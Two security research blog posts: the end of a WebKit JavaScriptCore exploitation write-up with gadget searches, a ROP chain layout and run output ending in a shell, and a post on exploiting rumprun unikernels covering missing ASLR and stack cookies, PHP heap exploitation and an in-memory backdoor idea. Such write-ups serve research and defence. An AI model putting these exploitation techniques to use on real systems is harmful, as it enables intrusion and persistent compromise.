  5f6705:       4c 89 44 24 28          mov    QWORD PTR [rsp+0x28],r8
  5f670a:       ff 50 60                call   QWORD PTR [rax+0x60]

This find us four unique results, with the one we’ll use being the only one listed. Cool, now we just need to find a gadget to zero r8...

[email protected]:~$ objdump -M intel -d ~/WebKit/WebKitBuild/Release/lib/libJavaScriptCore.so \
    | grep -B4 'call   QWORD PTR \[rax' \
    | grep -A4 'xor    r8'
  333503:       45 31 c0                xor    r8d,r8d
  333506:       4c 89 e2                mov    rdx,r12
  333509:       48 89 de                mov    rsi,rbx
  33350c:       ff 90 f8 00 00 00       call   QWORD PTR [rax+0xf8]

For this one, we need to broaden our search a bit, but still find what we need without too much trouble (and have our choice of five results, again with the one we’ll use being the only one listed). Again, objdump and grep are not the best tool for this job, but if it’s stupid and it works…

One takeaway from this section is that libJavaScriptCore is over 12mb of executable code, and this means your bigger problem is figuring what to look for as opposed to finding it. With that much code, you have an embarrassment of useful gadgets. In general, it made me curious as to the practical utility of fancy gadget finders on larger binaries (at least in case where the payloads don’t need to be dynamically generated).

In any case, we now have all the pieces we need to trigger and land our exploit.

Putting it all together

To finish this guy off, we need to construct our pseudo jump table. We know we enter into our chain with a call [rax+0x48], so that will be our first gadget, then we look at the offset of the call to determine the next one. This gives us a layout like this:

rax -> |0xdeadbeefdeadbeef|
       |       ...        |
+0x48  |     zero r8      | <- first call, ends in call [rax+0xf8]
       |       ...        |
+0x60  |    one gadget    | <- third call, gets us our shell
       |       ...        |
+0xf8  |    write stack   | <- second call, ends in call [rax+0x60]

We construct this array using normal JS, then just chase pointers from leaks we have until we find the array. In my implementation I just used a magic 8 byte constant which I searched for, effectively performing a big memmem() on the heap. Once it’s all lined up, the dominoes fall and one_gadget gives us our shell :)

[email protected]:~/babys-first-webkit$ ./jsc zildjian.js
setting up ghetto_memcpy()...
function () {
    [native code]

setting up read primitives...

leaking string addr...
string @ 0x00007feac5b96814

leaking jsc base...
reading @ 0x00007feac5b96060
libjsc .data leak: 0x00007feaca218f28
libjsc .text @ 0x00007feac95e8000
libc @ 0x00007feac6496000
one gadget @ 0x00007feac64d7c22

leaking butterfly arena...
reading @ 0x00007feac5b95be8
buttefly arena leak: 0x00007fea8539eaa0

searching for butterfly in butterfly arena...
butterfly search base: 0x00007fea853a8000
found butterfly @ 0x00007fea853a85f8

replacing array search tag with one shot gadget...
setting up take_rip...
function format() {
    [native code]
setting up call target: 0x00007fea853a85b0
getting a shell... enjoy :)
$ id
uid=1000(x) gid=1000(x) groups=1000(x),27(sudo)

The exploit is here: zildjian.js. Be warned that while it seems to be 100% deterministic, it is incredibly brittle and includes a bunch of offsets that are specific to my box. Instead of fixing the exploit to make it general purpose, I opted to provide all the info for you to do it yourself at home :)

If you have any questions, or if you have suggestions for better ways to do anything, be it exploit specifics or general approaches please (really) drop me a line on Twitter or IRC. As the length of this article might suggest, I’m happy to discuss this to death, and one of my hopes in writing this all down is that someone will see me doing something stupid and correct me.


With the exploit working, let’s reflect on how this was different from common CTF problems. There are two difference which really stand out to me:

  • The bug is more subtle than a typical CTF problem. This makes sense, as CTF problems are often meant to be understood within a ~48 hour period, and when you can have bigger/more complex systems you have more opportunity for mistakes like these.
  • CTF problems tend to scale up difficulty by giving worse exploit primitives, rather than harder bugs to find. We’ve all seen contrived problems where you get execution control in an address space with next to nothing in it, and need to MacGyver your way out. While this can be a fun and useful exercise, I do wish there were good ways to include the other side of the coin.

Some final thoughts:

  • This was significantly harder than I expected. I went in figuring I would have some fairly localized code, find a heap smash, relative write, or UaF and be off to the races. While that may be true for some browser bugs, in this case I needed a deeper understanding of browser internals. My suspicion is that this was not the easiest bug to begin browser exploitation with, but on the upside it was very… educational.
  • Most of the work here was done over a ~3 month period in my free time. The initial setup and research to get a working infoleak took just over a month, then I burned over a month trying to find a way to get an arbitrary write out of fastMalloc. Once I switched to Intl.NumberFormat I landed the exploit quickly.
  • I was surprised by how important object layouts were for exploitation, and how relatively poor the tooling was for finding and visualizing objects that could be instantiated and manipulated from the runtime.
  • With larger codebases such as this one, when dealing with an unknown component or function call I had the most consistent success balancing an approach of guessing what I viewed as likely behavior and reading and understanding the code in depth. I found it was very easy to get wrapped up in guessing how something worked because I was being lazy and didn’t want to read the code, or alternatively to end up reading and understanding huge amounts of code that ended up being irrelevant to my goals.

Most of these points boil down to “more code to understand makes it more work to exploit”. Like most problems, once you understand the components the solution is fairly simple. With a larger codebase the most time by far was spent reading and playing with the code to understand it better.

I hope you’ve enjoyed this writeup, it would not have been possible without significant assistance from a bunch of people. Thanks to @natashenka for the bugs, @agustingianni for answering over a million questions, @5elo and @_niklasb for the Phrack article and entertaining my half-drunk questions during CanSec respectively, @0vercl0k who graciously listened to me rant about butterflies at least twenty times, @itszn13 who is definitely the the best RPISEC alumnus of all time, and @mongobug who provided helpful ideas and shamed me into finishing exploit and writeup.

happy unikernels

22 December 2016 at 02:59
By: yrp


Below is a collection of notes regarding unikernels. I had originally prepared this stuff to submit to EkoParty’s CFP, but ended up not wanting to devote time to stabilizing PHP7’s heap structures and I lost interest in the rest of the project before it was complete. However, there are still some cool takeaways I figured I could write down. Maybe they’ll come in handy? If so, please let let me know.

Unikernels are a continuation of turning everything into a container or VM. Basically, as many VMs currently just run one userland application, the idea is that we can simplify our entire software stack by removing the userland/kernelland barrier and essentially compiling our usermode process into the kernel. This is, in the implementation I looked at, done with a NetBSD kernel and a variety of either native or lightly-patched POSIX applications (bonus: there is significant lag time between upstream fixes and rump package fixes, just like every other containerized solution).

While I don’t necessarily think that conceptually unikernels are a good idea (attack surface reduction vs mitigation removal), I do think people will start more widely deploying them shortly and I was curious what memory corruption exploitation would look like inside of them, and more generally what your payload options are like.

All of the following is based off of two unikernel programs, nginx and php5 and only makes use of public vulnerabilities. I am happy to provide all referenced code (in varying states of incompleteness), on request.

Basic ‘Hello World’ Example

To get a basic understanding of a unikernel, we’ll walk through a simple ‘Hello World’ example. First, you’ll need to clone and build (./build-rr.sh) the rumprun toolchain. This will set you up with the various utilities you'll need.

Compiling and ‘Baking’

In a rumpkernel application, we have a standard POSIX environment, minus anything involving multiple processes. Standard memory, file system, and networking calls all work as expected. The only differences lie in the multi-process related calls such as fork(), signal(), pthread_create(), etc. The scope of these differences can be found in the The Design and Implementation of the Anykernel and Rump Kernels [pdf].

From a super basic, standard ‘hello world’ program:

#include <stdio.h>
void main(void)

After building rumprun we should have a new compiler, x86_64-rumprun-netbsd-gcc. This is a cross compiler targeting the rumpkernel platform. We can compile as normal x86_64-rumprun-netbsd-gcc hello.c -o hello-rump and in fact the output is an ELF: hello-rump: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped. However, as we obviously cannot directly boot an ELF we must manipulate the executable ('baking' in rumpkernel terms).

Rump kernels provide a rumprun-bake shell script. This script takes an ELF from compiling with the rumprun toolchain and converts it into a bootable image which we can then give to qemu or xen. Continuing in our example: rumprun-bake hw_generic hello.bin hello-rump, where the hw_generic just indicates we are targeting qemu.

Booting and Debugging

At this point assuming you have qemu installed, booting your new image should be as easy as rumprun qemu -g "-curses" -i hello.bin. If everything went according to plan, you should see something like:


Because this is just qemu at this point, if you need to debug you can easily attach via qemu’s system debugger. Additionally, a nice side effect of this toolchain is very easy debugging — you can essentially debug most of your problems on the native architecture, then just switch compilers to build a bootable image. Also, because the boot time is so much faster, debugging and fixing problems is vastly sped up.

If you have further questions, or would like more detail, the Rumpkernel Wiki has some very good documents explaining the various components and options.

Peek/Poke Tool

Initially to develop some familiarity with the code, I wrote a simple peek/poke primitive process. The VM would boot and expose a tcp socket that would allow clients read or write arbitrary memory, as well as wrappers around malloc() and free() to play with the heap state. Most of the knowledge here is derived from this test code, poking at it with a debugger, and reading the rump kernel source.

Memory Protections

One of the benefits of unikernels is you can prune components you might not need. For example, if your unikernel application does not touch the filesystem, that code can be removed from your resulting VM. One interesting consequence of this involves only running one process — because there is only one process running on the VM, there is no need for a virtual memory system to separate address spaces by process.

Right now this means that all memory is read-write-execute. I'm not sure if it's possible to configure the MMU in a hypervisor to enforce memory proections without enabling virtual memory, as most of the virtual memory code I've looked at has been related to process separation with page tables, etc. In any case, currently it’s pretty trivial to introduce new code into the system and there shouldn’t be much need to resort to ROP.


Nginx was the first target I looked at; I figured I could dig up the stack smash from 2013 (CVE-2013-2028) and use that as a baseline exploit to see what was possible. This ultimately failed, but exposed some interesting things along the way.

Reason Why This Doesn’t Work

CVE-2013-2028 is a stack buffer overflow in the nginx handler for chunked requests. I thought this would be a good test as the user controls much of the data on the stack, however, various attempts to trigger the overflow failed. Running the VM in a debugger you could see the bug was not triggered despite the size value being large enough. In fact, the syscall returned an error.

It turns out however that NetBSD has code to prevent against this inside the kernel:

do_sys_recvmsg_so(struct lwp *l, int s, struct socket *so, struct msghdr *mp,
        struct mbuf **from, struct mbuf **control, register_t *retsize) {
// …
        if (tiov->iov_len > SSIZE_MAX || auio.uio_resid > SSIZE_MAX) {
            error = EINVAL;
            goto out;
// …

iov_len is our recv() size parameter, so this bug is dead in the water. As an aside, this also made me wonder how Linux applications would respond if you passed a size greater than LONG_MAX into recv() and it succeeded…

Something Interesting

Traditionally when exploiting this bug one has to worry about stack cookies. Nginx has a worker pool of processes forked from the main process. In the event of a crash, a new process will be forked from the parent, meaning that the stack cookie will remain constant across subsequent connections. This allows you to break it down into four, 1 byte brute forces as opposed to one 4 byte, meaning it can be done in a maximum of 1024 connections. However, inside the unikernel, there is only one process — if a process crashes the entire VM must be restarted, and because the only process is the kernel, the stack cookie should (in theory) be regenerated. Looking at the disassembled nginx code, you can see the stack cookie checks in all off the relevant functions.

In practice, the point is moot because the stack cookies are always zero. The compiler creates and checks the cookies, it just never populates fs:0x28 (the location of the cookie value), so it’s always a constant value and assuming you can write null bytes, this should pose no problem.


I was curious if unikernels would implement some form of ASLR, as during the build process they get compiled to an ELF (which is quite nice for analysis!) which might make position independent code easier to deal with. They don’t: all images are loaded at 0x100000. There is however "natures ASLR" as these images aren’t distributed in binary form. Thus, as everyone must compile their own images, these will vary slightly depending on compiler version, software version, etc. However, even this constraint gets made easier. If you look at the format of the loaded images, they look something like this:

0x100000: <unikernel init code>
0x110410: <application code starts>

This means across any unikernel application you’ll have approximately 0x10000 bytes of fixed value, fixed location executable memory. If you find an exploitable bug it should be possible to construct a payload entirely from the code in this section. This payload could be used to leak the application code, install persistence, whatever.


Once nginx was off the table, I needed another application that had a rumpkernel package and a history of exploitable bugs. The PHP interpreter fits the bill. I ended up using Sean Heelan's PHP bug #70068, because of the provided trigger in the bug description, and detailed description explaining the bug. Rather than try to poorly recap Sean's work, I'd encourage you to just read the inital report if you're curious about the bug.

In retrospect, I took a poor exploitation path for this bug. Because the heap slabs have no ASLR, you can fairly confidently predict mapped addresses inside the PHP interpreter. Furthermore, by controlling the size of the payload, you can determine which bucket it will fall into and pick a lesser used bucket for more stability. This allows you to be lazy, and hard code payload addresses, leading to easy exploitation. This works very well -- I was basically able to take Sean's trigger, slap some addresses and a payload into it, and get code exec out of it. However, the downsides to this approach quickly became apparent. When trying to return from my payload and leave the interpreter in a sane state (as in, running) I realized that I would need to actually understand the PHP heap to repair it. I started this process by examining the rump heap (see below), but got bored when I ended up in the PHP heap.


This was the portion I wanted to finish for EkoParty, and it didn’t get done. In theory, as all memory is read-write-execute, it should be pretty trivial to just patch recv() or something to inspect the data received, and if matching some constant execute the rest of the packet. This is strictly in memory, anything touching disk will be application specific.

Assuming your payload is stable, you should be able to install an in-memory backdoor which will persist for the runtime of that session (and be deleted on poweroff). While in many configurations there is no writable persistent storage which will survive reboots this is not true for all unikernels (e.g. mysql). In those cases it might be possible to persist across power cycles, but this will be application specific.

One final, and hopefully obvious note: one of the largest differences in exploitation of unikernels is the lack of multiple processes. Exploits frequently use the existence of multiple processes to avoid cleaning up application state after a payload is run. In a unikernel, your payload must repair application state or crash the VM. In this way it is much more similar to a kernel exploit.

Heap Notes

The unikernel heap is quite nice from an exploitation perspective. It's a slab-style allocator with in-line metadata on every block. Specifically, the metadata contains the ‘bucket’ the allocation belongs to (and thus the freelist the block should be released to). This means a relative overwrite plus free()ing into a smaller bucket should allow for fairly fine grained control of contents. Additionally the heap is LIFO, allowing for standard heap massaging.

Also, while kinda untested, I believe rumpkernel applications are compiled without QUEUEDEBUG defined. This is relevant as the sanity checks on unlink operations ("safe unlink") require this to be defined. This means that in some cases, if freelists themselves can be overflown then removed you can get a write-what-where. However, I think this is fairly unlikely in practice, and with the lack of memory protections elsewhere, I'd be surprised if it would currently be useful.

You can find most of the relevant heap source here

Symbol Resolution

Rumpkernels helpfully include an entire syscall table under the mysys symbol. When rumpkernel images get loaded, the ELF header gets stripped, but the rest of the memory is loaded contigiously:

gef➤  info file
Symbols from "/home/x/rumprun-packages/php5/bin/php.bin".
Remote serial target in gdb-specific protocol:
Debugging a target over a serial line.
        While running this, GDB does not access memory from...
Local exec file:
        `/home/x/rumprun-packages/php5/bin/php.bin', file type elf64-x86-64.
        Entry point: 0x104000
        0x0000000000100000 - 0x0000000000101020 is .bootstrap
        0x0000000000102000 - 0x00000000008df31c is .text
        0x00000000008df31c - 0x00000000008df321 is .init
        0x00000000008df340 - 0x0000000000bba9f0 is .rodata
        0x0000000000bba9f0 - 0x0000000000cfbcd0 is .eh_frame
        0x0000000000cfbcd0 - 0x0000000000cfbd28 is link_set_sysctl_funcs
        0x0000000000cfbd28 - 0x0000000000cfbd50 is link_set_bufq_strats
        0x0000000000cfbd50 - 0x0000000000cfbde0 is link_set_modules
        0x0000000000cfbde0 - 0x0000000000cfbf18 is link_set_rump_components
        0x0000000000cfbf18 - 0x0000000000cfbf60 is link_set_domains
        0x0000000000cfbf60 - 0x0000000000cfbf88 is link_set_evcnts
        0x0000000000cfbf88 - 0x0000000000cfbf90 is link_set_dkwedge_methods
        0x0000000000cfbf90 - 0x0000000000cfbfd0 is link_set_prop_linkpools
        0x0000000000cfbfd0 - 0x0000000000cfbfe0 is .initfini
        0x0000000000cfc000 - 0x0000000000d426cc is .data
        0x0000000000d426d0 - 0x0000000000d426d8 is .got
        0x0000000000d426d8 - 0x0000000000d426f0 is .got.plt
        0x0000000000d426f0 - 0x0000000000d42710 is .tbss
        0x0000000000d42700 - 0x0000000000e57320 is .bss

This means you should be able to just run simple linear scan, looking for the mysys table. A basic heuristic should be fine, 8 byte syscall number, 8 byte address. In the PHP5 interpreter, this table has 67 entries, giving it a big, fat footprint:

gef➤  x/6g mysys
0xaeea60 <mysys>:       0x0000000000000003      0x000000000080b790 -- <sys_read>
0xaeea70 <mysys+16>:    0x0000000000000004      0x000000000080b9d0 -- <sys_write>
0xaeea80 <mysys+32>:    0x0000000000000006      0x000000000080c8e0 -- <sys_close>

There is probably a chain of pointers in the initial constant 0x10410 bytes you could also follow, but this approach should work fine.

Hypervisor fuzzing

After playing with these for a while, I had another idea: rather than using unikernels to host userland services, I think there is a really cool opportunity to write a hypervisor fuzzer in a unikernel. Consider: You have all the benefits of a POSIX userland only you’re in ring0. You don’t need to export your data to userland to get easy and familiar IO functions. Unikernels boot really, really fast. As in under 1 second. This should allow for pretty quick state clearing.

This is definitely an area of interesting future work I’d like to come back to.

Final Suggestions

If you develop unikernels:

  • Populate the randomness for stack cookies.
  • Load at a random location for some semblance of ASLR.
  • Is there a way you can enforce memory permissions? Some form of NX would go a long way.
  • If you can’t, some control flow integrity stuff might be a good idea? Haven’t really thought this through or tried it.
  • Take as many lessons from grsec as possible.

If you’re exploiting unikernels:

  • Have fun.

If you’re exploiting hypervisors:

  • Unikernels might provide a cool platform to easily play in ring0.


For feedback, bugs used, or editing @seanhn, @hugospns, @0vercl0k, @darkarnium, other quite helpful anonymous types.

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